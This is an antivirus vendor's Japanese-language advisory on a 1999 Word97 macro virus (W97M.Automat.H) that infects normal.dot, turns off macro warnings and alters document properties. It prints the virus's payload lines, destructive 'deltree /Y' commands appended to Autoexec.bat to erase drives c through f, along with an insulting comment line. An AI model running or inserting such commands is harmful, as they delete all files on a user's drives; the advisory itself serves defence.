ウイルス情報ウイルス情報| 危険度 | 低 | | 対応定義ファイル | 4036 (現在7080) | | 対応エンジン | (現在5.4.00) エンジンバージョンの見分け方 | | 別名 | Cont, W97M.Automat.H | | 発見日(米国日付) | 99/07/16 | |
|
|
Word97文書に感染する。Word97のSR-1リリースで自己複製が可能。またWord97のマクロ警告機能をオフにする。このウイルスの発病ルーチンは毎月17日に発動し、以下の行をC:\Autoexec.batに追加して、次回の起動時にドライブfから始まりすべてのサブディレクトリの削除を試みる。
deltree /Y f:\*
deltree /Y e:\*
deltree /Y d:\*
deltree /Y c:\*
rem Created by Dream Blaster
rem Minny, you are simply a bitch
またこのウイルスは3分の1の確立で、文書のプロパティの作成者をDream Blasterに、タイトルをMacro Carrierに、キーワードをMinnyに改変する。これら改変はウイルス駆除を行っても、VirusScanがオリジナルの内容を知らないため元には戻らない。これら改変を元に戻すには、その文書を開き、ファイル → プロパティを選択する。
このウイルスはThisDocumentというモジュールで構成されている。このマクロウイルスはWordのnormal.dotファイルに感染する。